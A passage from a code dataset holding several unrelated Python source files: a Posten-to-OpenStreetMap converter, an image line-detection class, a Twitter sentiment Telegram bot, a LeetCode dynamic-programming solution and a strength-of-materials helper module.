- ', ', '),\n\t(' I ', ' i ')\n]\n\n\ndef message (output_text):\n\t'''\n\tOutput message to console.\n\t'''\n\n\tsys.stdout.write (output_text)\n\tsys.stdout.flush()\n\n\n\ndef make_osm_line(key,value):\n\t'''\n\tProduce a tag for OSM file\n\t'''\n\n\tif value != None:\n\t\tvalue = html.unescape(value)\n\t\tencoded_value = html.escape(value).strip()\n\t\tif encoded_value:\n\t\t\tfile.write (' \\n' % (key, encoded_value))\n\n\n\ndef opening_hours(hours_csv):\n\t'''\n\tGenerate opening hours in osm format.\n\tInput format from Posten api: \"Man.–fre. 08.00–22.00, Lør. 08.00–20.00\"\n\t'''\n\n\tday_conversion = {\n\t\t'man': 'Mo',\n\t\t'tir': 'Tu',\n\t\t'ons': 'We',\n\t\t'tor': 'Th',\n\t\t'fre': 'Fr',\n\t\t'lør': 'Sa',\n\t\t'søn': 'Su'}\n\n\tif hours_csv != None:\n\n\t\thours_csv = hours_csv.lower()\n\t\thours_csv = hours_csv.replace(\"–\",\"-\").replace(\".-\",\"-\").replace(\". \",\" \").replace(\" - \",\"-\").replace(\":\",\"\").replace(\".\",\":\")\n\n\t\tfor day_in, day_out in day_conversion.items():\n\t\t\thours_csv = hours_csv.replace(day_in, day_out)\n\n\t\thours_csv = hours_csv.replace(\"00:01\",\"00:00\").replace(\"23:58\",\"24:00\").replace(\"23:59\",\"24:00\")\n\n\t\thours = []\n\t\tfor day in hours_csv.split(\", \"):\n\t\t\tif \"00:00-00:00\" not in day:\n\t\t\t\thours.append(day)\n\n\t\tresult = \", \".join(hours)\n\n\t\tif result == \"Mo-Su 00:00-24:00\" or result == \"Mo-Su døgnåpent\":\n\t\t\tresult = \"24/7\"\n\n\t\treturn result\n\n\telse:\n\t\treturn \"\"\n\n\n\ndef process_post_offices():\n\t'''\n\tLoad post offices and parcel lockers from Posten api and produce osm file.\n\t'''\n\n\tglobal file\n\n\tmessage (\"\\nGenerate post offices and parcel lockers ...\\n\")\n\n\t# Load api\n\n\turl = \"http://public.snws.posten.no/SalgsnettServicePublic.asmx/GetEnheterByLandkode?searchValue=&landkode=NO\"\n\n\trequest = urllib.request.Request(url)\n\tfile = urllib.request.urlopen(request)\n\ttree = ElementTree.parse(file)\n\tfile.close()\n\n\tns = {'ns0': 'https://public.snws.posten.no/SalgsnettService.asmx/'} # Namespace\n\n\troot = tree.getroot()\n\n\t# Produce OSM file header\n\n\tfilename = \"postkontor.osm\"\n\tfile = open(filename, \"w\")\n\n\tfile.write ('\\n')\n\tfile.write ('\\n' % version)\n\n\tnode_id = -1000\n\tcount_total = 0\n\tcount_lockers = 0\n\n\t# Iterate all post offices and produce OSM tags\n\n\tfor office in root.iterfind('ns0:EnhetDTO', ns):\n\n\t\tif office.find('ns0:PostnrBesoksadresse/ns0:Land/ns0:Kode', ns) != None and \\\n\t\t\t\toffice.find('ns0:PostnrBesoksadresse/ns0:Land/ns0:Kode', ns).text == \"NO\" and \\\n\t\t\t\toffice.find('ns0:Status/ns0:Navn', ns).text == \"Aktiv\" and \\\n\t\t\t\toffice.find('ns0:EnhetsType/ns0:EnhetsType', ns).text != \"36\": # Avoid pilot automats\n\n\t\t\tnode_id -= 1\n\t\t\tcount_total += 1\n\n\t\t\tlatitude = office.find('ns0:Latitude', ns).text\n\t\t\tlongitude = office.find('ns0:Longitude', ns).text\n\t\t\tif (latitude[0] == \"-\") or (longitude[0] == \"-\"):\n\t\t\t\tlatitude = \"0\"\n\t\t\t\tlongitude = \"0\"\n\n\t\t\tfile.write (' \\n' % (node_id, latitude, longitude))\n\n\t\t\tif float(latitude) < 57:\n\t\t\t\tmake_osm_line (\"GEOCODE\", \"yes\")\n\n\t\t\tmake_osm_line (\"ref:posten\", office.find('ns0:Enhetsnr', ns).text)\n\t\t\tmake_osm_line (\"brand\", \"Posten\")\n\n\t\t\t# Get address\n\n\t\t\taddress = office.find('ns0:PostnrBesoksadresse', ns)\n\n\t\t\tstreet = office.find('ns0:Besoksadresse', ns).text\n\t\t\tif street != None:\n\t\t\t\taddress_line = street.strip() + \", \"\n\t\t\telse:\n\t\t\t\taddress_line = \"\"\n\t\t\taddress_line += address.find('ns0:Postnr', ns).text.strip() + \" \" + address.find('ns0:Poststed', ns).text\n\n\t\t\tmake_osm_line (\"ADDRESS\", address_line)\n#\t\t\tmake_osm_line (\"MUNICIPALITY\", address.find('ns0:Kommune', ns).text)\n#\t\t\tmake_osm_line (\"COUNTY\", address.find('ns0:Fylke', ns).text)\n\t\t\tmake_osm_line (\"LOCATION\", office.find('ns0:Beliggenhet', ns).text)\t\t\t\n\n\t\t\t# Adjust name and operator according to type of post office\n\n\t\t\toffice_type = office.find('ns0:EnhetsType/ns0:EnhetsType', ns).text\n\t\t\tname = office.find('ns0:EnhetsNavn', ns).text\n\t\t\toperator = office.find('ns0:Navn', ns).text\n\n\t\t\tfor word_from, word_to in transform_name:\n\t\t\t\tname = name.replace(word_from, word_to)\n\t\t\t\toperator = operator.replace(word_from, word_to)\n\n\t\t\tif \"kiwi\" in operator.lower():\n\t\t\t\tfor number in ['0','1','2','3','4','5','6','7','8','9']:\n\t\t\t\t\toperator = operator.replace(number, '')\n\n\t\t\tname = name.replace(\" \",\" \").strip()\n\t\t\toperator = operator.replace(\" \",\" \").strip()\n\t\t\talt_name = \"\"\n\n\t\t\t# Tag according to type of post office / locker\n\n\t\t\tif office_type == \"21\": # Postkontor\n\t\t\t\toperator = \"Posten\"\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line(\"post_office\", \"bureau\")\t\t\t\t\n\n\t\t\telif office_type == \"1\": # Bedriftsenter\n\t\t\t\toperator = \"Posten\"\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line(\"post_office\", \"bureau\")\n\n\t\t\telif office_type == \"4\": # Post i butikk\n\t\t\t\tname = name.replace(\"Post i Butikk\", \"post i butikk\")\n\t\t\t\talt_name = operator + \" post i butikk\"\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line(\"post_office\", \"post_annex\")\n\n\t\t\telif office_type == \"19\": # Pakkeutlevering\n\t\t\t\tname = name.replace(\"Posten \", \"\")\n\t\t\t\talt_name = operator + \" pakkeutlevering\"\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line(\"post_office\", \"post_partner\")\n\n\t\t\telif office_type == \"32\": # Postpunkt (operated by Posten)\n\t\t\t\toperator = \"Posten\"\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line(\"post_office\", \"bureau\")\n\n\t\t\telif office_type == \"33\": # Postpunkt\n\t\t\t\talt_name = operator + \" postpunkt\"\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line(\"post_office\", \"post_annex\")\n\n#\t\t\telif office_type == \"36\": # Pakkeautomat (not used anymore?)\n#\t\t\t\tname = name.replace('Post i Butikk', 'post i butikk')\n#\t\t\t\toperator = \"\"\n#\t\t\t\tmake_osm_line (\"amenity\", \"parcel_locker\")\n#\t\t\t\tmake_osm_line(\"post_office:type\", \"parcel_automat\")\n\n\t\t\telif office_type == \"37\": # Pakkeboks\n\t\t\t\toperator = \"Posten\"\n\t\t\t\tmake_osm_line (\"amenity\", \"parcel_locker\")\n\t\t\t\tcount_lockers += 1\n\n\t\t\telse:\n\t\t\t\tmake_osm_line (\"amenity\", \"post_office\")\n\t\t\t\tmake_osm_line (\"FIXME\", \"Unknown type: '%s'\" % office_type)\n\t\t\t\tmessage (\"\\tUnknown type: '%s'\\n\" % office_type)\n\n\t\t\tmake_osm_line (\"name\", name)\n\n\t\t\tif alt_name and (alt_name != name):\n\t\t\t\tmake_osm_line (\"alt_name\", alt_name)\n\n\t\t\tmake_osm_line(\"operator\", operator)\n\n\t\t\t# Opening hours\n\n\t\t\tfor opening in office.iterfind('ns0:Apningstider/ns0:ApningstidDTO', ns):\n\t\t\t\tif opening.find('ns0:ApningstidType', ns) != None and opening.find('ns0:ApningstidType', ns).text == \"1000\":\n\t\t\t\t\thours = opening.find('ns0:ApningstidCSV', ns).text\n#\t\t\t\t\tmake_osm_line(\"HOURS\", \"%s\" % hours)\n\t\t\t\t\tmake_osm_line(\"opening_hours\", opening_hours(hours))\n\t\t\t\t\tbreak\n\n\t\t\t# Wheelchair (data not complete)\n\n#\t\t\tfor service in office.iterfind('ns0:Tjenester/ns0:TjenesteDTO', ns):\n#\t\t\t\tif \"rullestol\" in service.find('ns0:Navn', ns).text:\n#\t\t\t\t\tmake_osm_line (\"wheelchair\", \"yes\")\n\n\t\t\tfile.write (' \\n')\n\n\t# Wrap up\n\n\tfile.write ('\\n')\n\tfile.close()\n\n\tmessage (\"\\t%i post offices and %i parcel lockers saved to '%s'\\n\" % (count_total - count_lockers, count_lockers, filename))\n\n\n\ndef process_mailbox():\n\t'''\n\tLoad post boxes from Posten api and produce osm file.\n\t'''\n\n\tglobal file\n\n\tmessage (\"Generate mail boxes ...\\n\")\n\n\t# Load api\n\n\turl = \"http://public.snws.posten.no/SalgsnettServicePublic.asmx/GetInnleveringspostkasser?searchValue=\"\n\n\trequest = urllib.request.Request(url)\n\tfile = urllib.request.urlopen(request)\n\ttree = ElementTree.parse(file)\n\tfile.close()\n\n\tns = {'ns0': 'https://public.snws.posten.no/SalgsnettService.asmx/'} # Namespace\n\n\troot = tree.getroot()\n\n\t# Produce OSM file header\n\n\tfilename = \"postkasser.osm\"\n\tfile = open(filename, \"w\")\n\n\tfile.write ('\\n')\n\tfile.write ('\\n' % version)\n\n\tnode_id = -1000\n\tcount = 0\n\n\t# Iterate all mail boxes and produce OSM tags\n\n\tfor box in root.iterfind('ns0:EnhetDTO', ns):\n\n\t\tif box.find('ns0:PostnrBesoksadresse/ns0:Land/ns0:Kode', ns) != None and \\\n\t\t\t\tbox.find('ns0:Status/ns0:Navn', ns).text == \"Aktiv\":\n\n\t\t\tnode_id -= 1\n\t\t\tcount += 1\n\n\t\t\tlatitude = box.find('ns0:Latitude', ns).text\n\t\t\tlongitude = box.find('ns0:Longitude', ns).text\n\t\t\tif (latitude[0] == \"-\") or (longitude[0] == \"-\"):\n\t\t\t\tlatitude = \"0\"\n\t\t\t\tlongitude = \"0\"\n\n\t\t\tfile.write (' \\n' % (node_id, latitude, longitude))\n\n\t\t\tif float(latitude) < 57:\n\t\t\t\tmake_osm_line (\"GEOCODE\", \"yes\")\n\n\t\t\tmake_osm_line (\"amenity\", \"post_box\")\n\t\t\tmake_osm_line (\"ref:posten_box\", box.find('ns0:Enhetsnr', ns).text)\n\t\t\tmake_osm_line (\"brand\", \"Posten\")\n\n#\t\t\toperator = box.find('ns0:ConnectedOffice/ns0:EnhetsNavn', ns) # Responsible post office (data not complete)\n#\t\t\tif operator != None:\n#\t\t\t\tmake_osm_line (\"operator\", operator.text)\n\n\t\t\t# Get address\n\n\t\t\taddress = box.find('ns0:PostnrBesoksadresse', ns)\n\n\t\t\tstreet = box.find('ns0:Besoksadresse', ns).text\n\t\t\tif street != None:\n\t\t\t\taddress_line = street.strip() + \", \"\n\t\t\telse:\n\t\t\t\taddress_line = \"\"\n\t\t\taddress_line += address.find('ns0:Postnr', ns).text.strip() + \" \" + address.find('ns0:Poststed', ns).text\n\n\t\t\tmake_osm_line (\"ADDRESS\", address_line)\n\t\t\tmake_osm_line (\"MUNICIPALITY\", address.find('ns0:Kommune', ns).text)\n#\t\t\tmake_osm_line (\"COUNTY\", address.find('ns0:Fylke', ns).text)\n\t\t\tmake_osm_line (\"LOCATION\", box.find('ns0:Beliggenhet', ns).text)\t\n\n\t\t\t# Get collection time\n\n\t\t\tif box.find('ns0:Frister', ns):\n\t\t\t\tcollection = box.find('ns0:Frister/ns0:FristDTO', ns)\n\t\t\t\thours = collection.find(\"ns0:Periode\", ns).text + \" \" + collection.find('ns0:Klokkeslett', ns).text\n\t\t\t\tmake_osm_line (\"collection_times\", opening_hours(hours))\n\n\t\t\t# Discover any new box type\n\n\t\t\tbox_type = box.find('ns0:EnhetsType/ns0:EnhetsType', ns).text\n\t\t\tif box_type != \"10\": # Post box\n\t\t\t\tmake_osm_line (\"FIXME\", \"Unknown type: '%s'\" % box_type)\n\t\t\t\tmessage (\"\\tUnknown type: '%s'\\n\" % box_type)\n\n\t\t\tfile.write (' \\n')\n\n\t# Wrap up\n\n\tfile.write ('\\n')\n\tfile.close()\n\n\tmessage (\"\\t%i post boxes saved to '%s'\\n\\n\" % (count, filename))\n\n\n\n# Main program\n\nif __name__ == '__main__':\n\tprocess_post_offices()\n\tprocess_mailbox()\n","repo_name":"NKAmapper/post2osm","sub_path":"post2osm.py","file_name":"post2osm.py","file_ext":"py","file_size_in_byte":10921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"5786671698","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import linear_model, datasets\nimport pandas as pd\nimport math\nfrom AR.pickselector import PickSelector\n\ncolorList = ['yellowgreen','gold','blue','pink','red','black','blown']\n\nclass BornDevider():\n def inputImage(self,img):\n \n bin_ = self.binarization(img)\n skel = self.getSkelton(bin_)\n self.img = skel\n raw_X, raw_y = self.imageToPoints(skel)\n inlier_X, inlier_y, coefficient = self.lineRANSAC(raw_X, raw_y, 10)\n self.X ,self.y = inlier_X, inlier_y\n return self.AignPoints(inlier_X,inlier_y,coefficient)\n \n def binarization(self, img):\n # Otsu's thresholding after Gaussian filtering\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray,(3,3),0)\n ret3,th3 = cv2.threshold(blur,100,255,cv2.THRESH_BINARY)\n #print(cv2.THRESH_BINARY+cv2.THRESH_OTSU)\n reversed = cv2.bitwise_not(th3)\n \n return reversed\n \n def getSkelton(self,img):\n size = np.size(img)\n skel = np.zeros(img.shape,np.uint8)\n ret,img = cv2.threshold(img,100,255,0)\n element = cv2.getStructuringElement(cv2.MORPH_CROSS,(3,3))\n done = False\n\n while( not done):\n eroded = cv2.erode(img,element)\n temp = cv2.dilate(eroded,element)\n temp = cv2.subtract(img,temp)\n skel = cv2.bitwise_or(skel,temp)\n img = eroded.copy()\n \n zeros = size - cv2.countNonZero(img)\n if zeros==size:\n done = True\n \n\n return skel\n\n def imageToPoints(self,img):\n height, width = img.shape[:2]\n point_list = list()\n x_list = []\n y_list = []\n for x in range(width):\n for y in range(height):\n if img[y][x] == 255:\n x_list.append(x)\n y_list.append(y)####################################################################注意##############################\n X = np.array(x_list)\n y = np.array(y_list)\n raw_X = X.reshape(-1,1)\n raw_y = y.reshape(-1,1)\n \n return raw_X, raw_y\n\n def lineRANSAC(self, X, y, minPointNum):\n inlier_X = []\n inlier_y = []\n coefficient = []\n while len(X) > minPointNum:\n # Robustly fit linear model with RANSAC algorithm\n ransac = linear_model.RANSACRegressor(max_trials=100)\n ransac.fit(X, y)\n inlier_mask = ransac.inlier_mask_\n outlier_mask = np.logical_not(inlier_mask)\n \n inlier_X.append(X[inlier_mask])\n inlier_y.append(y[inlier_mask])\n\n a,b = self.reg1dim(X[inlier_mask],y[inlier_mask])\n coefficient.append([a,b])\n X = X[outlier_mask]\n y = y[outlier_mask]\n print(\"coefficient\", coefficient)\n return inlier_X, inlier_y, coefficient\n \n\n def AignPoints(self, x_list, y_list,coefficient):\n n = len(coefficient)\n length = []\n pickSelector = PickSelector()\n for i in range(n):\n dot = x_list[i] * 1 + y_list[i] * coefficient[i][0]\n size_ = math.sqrt(coefficient[i][0]*coefficient[i][0]+1)\n X = ( dot / (size_*size_) ) * 1\n Y = ( dot / (size_*size_) ) * coefficient[i][0]\n #print(X, Y)\n theta = math.atan2(coefficient[i][0],1)\n roll_X = X * math.cos(-theta) - Y * math.sin(-theta)\n roll_Y = X * math.sin(-theta) + Y * math.cos(-theta)\n #print(roll_X)\n length.append(roll_X.max()-roll_X.min())\n #print(x_list[i][np.argmax(roll_X)], y_list[i][np.argmax(roll_X)])\n #print(x_list[i][np.argmin(roll_X)], y_list[i][np.argmin(roll_X)])\n pickSelector.addPoint(x_list[i][np.argmax(roll_X)], y_list[i][np.argmax(roll_X)],x_list[i][np.argmin(roll_X)], y_list[i][np.argmin(roll_X)])\n #print(\"dist\", roll_X.max()-roll_X.min())\n \n \n ###\n # for i in range(len(self.inlier_X)):\n # plt.scatter(self.inlier_X[i], self.inlier_y[i], color=colorList[i], marker='.')\n # plt.legend(loc='lower right')\n # plt.xlabel(\"Input\")\n # plt.ylabel(\"Response\")\n #plt.scatter(X, Y, color=colorList[2], marker='.')\n #plt.show()\n \n pick_points = pickSelector.calc()\n\n send_data = []\n for i in range(n):\n send_data.append([length[i], pick_points[i][0][0],pick_points[i][1][0]]) \n # print(\"send_data is\",send_data)\n return send_data\n \n def dispPoints(self):\n for i in range(len(self.X)):\n plt.scatter(self.X[i], self.y[i], color=colorList[i], marker='.')\n plt.legend(loc='lower right')\n plt.xlabel(\"Input\")\n plt.ylabel(\"Response\")\n plt.show()\n\n def reg1dim(self, x, y):\n n = len(x)\n x = x.flatten()\n y = y.flatten()\n #print(\"sum: \",x.sum(),y.sum())\n a = ((np.dot(x, y)- y.sum() * x.sum()/n)/\n ((x ** 2).sum() - x.sum()**2 / n))\n b = (y.sum() - a * x.sum())/n\n #print(\"a, b\",a,b)\n return a, b\n \n\n\nif __name__ == \"__main__\":\n img = cv2.imread(\"img5.png\",0)\n \n ########実装############################\n born = BornDevider()\n print(born.inputImage(img))\n ########################################\n\n born.dispPoints()\n\n\n #cv2.imshow(\"input\",img)\n #cv2.waitKey(0)\n #cv2.destroyAllWindows()\n \n","repo_name":"tashiwater/hack19","sub_path":"src/AR/borndevider.py","file_name":"borndevider.py","file_ext":"py","file_size_in_byte":5686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"14147818541","text":"import os\nimport re\nfrom dotenv import load_dotenv\nfrom datetime import datetime, timedelta\n\nimport tweepy as tw\nfrom google.cloud import language\nfrom google.cloud.language import enums, types\nfrom nltk.tokenize import WordPunctTokenizer\nfrom telegram.ext import Filters, MessageHandler, Updater\n\nload_dotenv()\n\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"] = os.getenv('dir_to_google_creds')\nconsumer_key = os.getenv('consumer_key')\nconsumer_secret = os.getenv('consumer_secret')\naccess_token = os.getenv('access_token')\naccess_token_secret = os.getenv('access_token_secret')\ntelegram_api = os.getenv('telegram_access_api')\n\nproject = os.getenv('project')\npubsub_topic = os.getenv('pubsub_topic')\n\n# publisher = pubsub_v1.PublisherClient()\n# topic_path = publisher.topic_path(project, pubsub_topic)\n\n\ndef create_api():\n auth = tw.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tw.API(auth, wait_on_rate_limit=True,\n wait_on_rate_limit_notify=True)\n try:\n api.verify_credentials()\n except Exception as e:\n # print(\"Error creating API\")\n raise e\n # print(\"Twitter API created\")\n return api\n\n\ndef search_tweets(keyword, total_tweets):\n # today_datetime = datetime.today().now()\n # yesterday_datetime = today_datetime - timedelta(days=1)\n # today_date = today_datetime.strftime('%Y-%m-%d')\n # yesterday_date = yesterday_datetime.strftime('%Y-%m-%d')\n\n search_result = tw.Cursor(api.search,\n q=keyword + \" -filter:retweets\",\n # since=yesterday_date,\n result_type='recent',\n tweet_mode=\"extended\",\n lang='en').items(total_tweets)\n return search_result\n\n\ndef clean_tweets(tweet):\n BLANK = 0\n # print(tweet)\n tweet = re.sub(r'[\\t\\r\\n]', ' ', tweet)\n tweet = re.sub(r'\\w*\\d\\w*', '', tweet)\n tweet = re.sub(r'[@#]\\w+', '', tweet, flags=re.MULTILINE)\n\n tweet = re.sub('https?://[A-Za-z0-9./]+', '', tweet, flags=re.MULTILINE)\n tweet = tweet.lower()\n tweet = re.sub('[^a-zA-Z]', ' ', tweet, flags=re.MULTILINE)\n tweet = re.sub('[$₹]', '', tweet, flags=re.MULTILINE)\n\n tok = WordPunctTokenizer()\n words = tok.tokenize(tweet)\n tweet = (' '.join(words)).strip()\n if not tweet:\n BLANK = 1\n return tweet, BLANK\n\n\ndef get_sentiment_score(tweet):\n client = language.LanguageServiceClient()\n document = types\\\n .Document(content=tweet,\n type=enums.Document.Type.PLAIN_TEXT)\n sentiment_score = client\\\n .analyze_sentiment(document=document)\\\n .document_sentiment\\\n .score\n return sentiment_score\n\n\ndef analyze_tweets(keyword, total_tweets):\n score = 0\n blank = 0\n tweets = search_tweets(keyword, total_tweets)\n for tweet in tweets:\n tweet = tweet.full_text\n # print(tweet)\n cleaned_tweet, isblank = clean_tweets(tweet)\n # print('Tweet: {}'.format(cleaned_tweet))\n blank += isblank\n # print(cleaned_tweet, end='\\n\\n')\n sentiment_score = get_sentiment_score(cleaned_tweet)\n score += sentiment_score\n\n # print('Score: {}\\n'.format(sentiment_score))\n final_score = round((score / float(total_tweets-blank)), 2)\n # print('Final Score : ', final_score, end='\\n\\n')\n return final_score\n\n\ndef send_the_result(bot, update):\n keyword = update.message.text\n # print(keyword)\n final_score = analyze_tweets(keyword, 10)\n if final_score <= -0.25:\n status = 'NEGATIVE �'\n elif final_score <= 0.25:\n status = 'NEUTRAL 🔶'\n else:\n status = 'POSITIVE ✅'\n bot.send_message(chat_id=update.message.chat_id,\n text='Average score for '\n + str(keyword)\n + ' is '\n + str(final_score)\n + ' '\n + status)\n\n\nif __name__ == \"__main__\":\n\n global api\n api = create_api()\n\n updater = Updater(telegram_api)\n dp = updater.dispatcher\n dp.add_handler(MessageHandler(Filters.text, send_the_result))\n updater.start_polling()\n updater.idle()\n","repo_name":"mlapistudy/ICSE2021_421","sub_path":"Tools/Output_Mis-interpretation_Checker/codes_subset/AimAmit-Tweet-sentiment/tweet_stream.py","file_name":"tweet_stream.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"0"}
+{"seq_id":"73430533797","text":"from random import randint\n\nl, m, n = input().split(\" \")\n\nprint(f\"{l} {m} {n}\")\nfor i in range(0, int(m)):\n gNum = randint(1, int(l))\n\n value = randint(9, gNum*10)\n groups = set()\n\n while len(groups) != gNum:\n groups.add(randint(1, int(l)))\n \n print(f\"{value} {gNum}\")\n for group in groups:\n print(group)\n \n ","repo_name":"Gabp0/otimizacao-t2","sub_path":"geraInput.py","file_name":"geraInput.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74846398755","text":"# useful post for understanding: https://leetcode.com/problems/minimum-score-triangulation-of-polygon/discuss/286754/C%2B%2BPython-O(n3)-DP-explanation-%2B-diagrams\n\nclass Solution:\n def minScoreTriangulation(self, values: List[int]) -> int:\n N = len(values)\n dp = [[0] * N for i in range(N)]\n\n for vertice in range(2, N):\n for left in range(N-vertice):\n right = left + vertice\n dp[left][right] = float('inf')\n for k in range(left+1, right):\n dp[left][right] = min(dp[left][right], \\\n values[k]*values[left]*values[right] + \\\n dp[left][k] + dp[k][right])\n\n return dp[0][N-1]\n\n \"\"\"\n def minScoreTriangulation(self, values: List[int]) -> int:\n memo = {}\n return self.dfs(values, memo, 0, len(values)-1)\n\n def dfs(self, values, memo, left, right):\n if right - left + 1 < 3:\n return 0\n\n if (left, right) in memo:\n return memo[(left, right)]\n\n res = float('inf')\n for k in range(left+1, right):\n res = min(res, values[left]*values[right]*values[k] + \\\n self.dfs(values, memo, left, k) + \\\n self.dfs(values, memo, k, right))\n\n memo[(left, right)] = res\n\n return memo[(left, right)]\n \"\"\"","repo_name":"linnndachen/coding-practice","sub_path":"Leetcode_By_Topic/dp_interval-1039.py","file_name":"dp_interval-1039.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"2614193296","text":"\"\"\"\r\n# Modulo de Resistencia de materiales.\r\n\r\nPermite solucionar multiples problemas de resistencia de materiales.\r\nTiene el siguiente objeto principal: \r\n1. Objeto: Permite guardar las variables del problema, para prevenir la creación constante de nuevas varaiables en el codigo.\r\nTiene las siguientes funciones:\r\n2. A(): Función para calculo de Área basado en Diámetros.\r\n3. D(): Función para calculo de Diámetro basado en Área.\r\n \r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport sympy as sp\r\n\r\nclass objeto():\r\n \r\n\r\n \"\"\"\r\n#.pro: Atributo de propiedades de objeto.\r\n\r\n Alguna de las convenciones son: \r\n\r\n#L: Longitud en metros\r\n#D: Diámetro en metros\r\n#Delt: Desplazamiento del alambre en metros.\r\n#E: Modulo de youngs\r\n#P: Fuerza axial en el alambre.\r\n#Esf: Esfuerzo axialñ del alamabre\r\n#SU: Resistencia última en Pascales.\r\n#epsilon: Deformación unitaria \r\n#n: Factor de seguridad.\r\n\"\"\"\r\n def __init__(self) -> None:\r\n self.pro={}\r\n self.pro[\"Contorno_f\"]=np.array([])\r\n self.pro[\"Contorno_m\"]=np.array([])\r\n def asignar(self,dict):\r\n self.pro=dict\r\n def add(self,name,propertie,print=False):\r\n self.pro[name]=propertie\r\n if (print==True):\r\n print(\"++++++++++++++++++++++\")\r\n print(\"------------!Información!-------------\")\r\n print(\"Se agrega la propiedad \"+str(propertie))\r\n print(\"Al diccionario del objeto 'RDM' con la key: \"+name)\r\n def delta(self,name=\"Delt\",P=\"P\",L=\"L\",A=\"A\",E=\"E\"):\r\n try:\r\n self.pro[name]=(self.pro[P]*self.pro[L])/(self.pro[A]*self.pro[E])\r\n except:\r\n print(\"Falla al cacular el desplazaminto, verifique los valores o intente manualmente\")\r\n else:\r\n print(\"Calculo de desplazamiento \"+name+\" exitoso, su valor es: \"+str(self.pro[name]))\r\n\r\n def Esf(self,name=\"Esf\",P=\"P\",A=\"A\",E=\"E\",epsilon=\"epsilon\"):\r\n try:\r\n self.pro[name]=self.pro[P]/self.pro[A]\r\n except:\r\n self.pro[name]=self.pro[E]*self.pro[epsilon]\r\n else:\r\n print(\"Trate de asignar variables como numeros reales o símbolos para calcular el esfuerzo\")\r\n\r\n def epsilon(self,name=\"epsilon\",Delt=\"Delt\",L=\"L\",Esf=\"Esf\",E=\"E\"):\r\n try:\r\n self.pro[name]=self.delta(Delt)/self.pro[L]\r\n quit()\r\n except:\r\n self.pro[name]=self.pro[Delt]/self.pro[L]\r\n else:\r\n print(\"Calculo de deformación sin problemas\")\r\n try:\r\n self.pro[name]=self.pro[Esf]/self.pro[E]\r\n except:\r\n print(\"Calculo de esfuerzo con problemas, verificar manualmente\") \r\n try:\r\n self.pro[name]=self.Esf(Esf,P=\"P\",A=\"A\",E=E,epsilon=name)/self.pro[E]\r\n except:\r\n print(\"Calculo automatico de esfuerzo a fallado, verificar manualmente\")\r\n else:\r\n print(\"Calculo de esfuerzo automatico sin problemas\")\r\n def solve(self,Obj1,Obj2,Sf=\"P\",Delt=\"Delt\"):\r\n R=sp.solve([self.pro[Sf],self.pro[Delt]],dict=True)\r\n Obj1.pro[\"P\"]=R[0][Obj1.pro[\"P\"]]\r\n Obj2.pro[\"P\"]=R[0][Obj2.pro[\"P\"]]\r\n def solve1(self,Ecu,Incg):\r\n \"\"\"\r\n # Función permie solución general de sistemas de ecuaciones.\r\n\r\n 1. Ecu: Lista de ecuaciones de interes dentro del objeto.\r\n 2. Incg: Lista de incognitas de interes. \r\n Nota: No esta completo, no utilizar\r\n \"\"\"\r\n R=sp.solve(Ecu,dict=True)\r\n for i in Incg:\r\n self.pro[i]=R[0][self.pro[i]]\r\n def sum(self,Contorno_f=\"Contorno_f\",Contorno_m=\"Contorno_m\",print=False):\r\n Sf=np.array([0,0])\r\n for i in self.pro[Contorno_f]:\r\n Sf=Sf+i[1:]\r\n Sm=np.array([0,0])\r\n for j in self.pro[Contorno_m]:\r\n Sm=Sm+j[1:]\r\n self.add(\"S\",[Sf,Sm])\r\n if print==True:\r\n print(\"+++++++++++++++++++++++++++++++++++++++++++++\")\r\n print(\"Sistemas de ecuación de fuerza:\\n \"+str(Sf))\r\n print(\"Sistemas de ecuación de momento:\\n \"+str(Sm))\r\n print(\"Agregados al diccionario con la Key: 'S' \")\r\n print(\"+++++++++++++++++++++++++++++++++++++++++++++\")\r\n\r\n def Unitarian(V,VM):\r\n Lambda=np.array([])\r\n c=0\r\n for i in VM:\r\n if i!=0:\r\n if c==0:\r\n Lambda=np.array(V[c,:]/i)\r\n else:\r\n Lambda=np.c_[Lambda,V[c,:]/i]\r\n else: \r\n #Lambda=np.append(Lambda,np.array([0,0]),axis=0)\r\n if c==0:\r\n Lambda=np.array([0,0])\r\n else:\r\n Lambda=np.c_[Lambda,np.array([0,0])]\r\n c+=1\r\n Lambda=Lambda.transpose()\r\n return Lambda\r\n\r\n\r\n def momento(self,Nnodo,S=\"S\",Contorno=\"Contorno_f\"):\r\n \"\"\"\r\n ## Momento de una fuerza en un nodo\r\n ### Esta función permite calcular el momento de una fuerza asignando \r\n ### un nodo específico que debe estar en el listado de nodos.\r\n\r\n 1. Nnodo: Valor del nodo donde se calculara el momento de una fuera.\r\n\r\n 2. Por defecto la Key para las ecuaciones de sumatoria de fuerza es \"S\"\r\n pero se puede cambiar bajo consideración \r\n\r\n 3. Se recomienda realizar la suma de fuerza en unop de los apoyos\r\n para eliminar una incognita del sistemas\r\n \"\"\"\r\n def vector_dist(Nnodo,M):\r\n index=np.where(M[:,0]==Nnodo)\r\n try:\r\n A=M[index[0],1:]\r\n 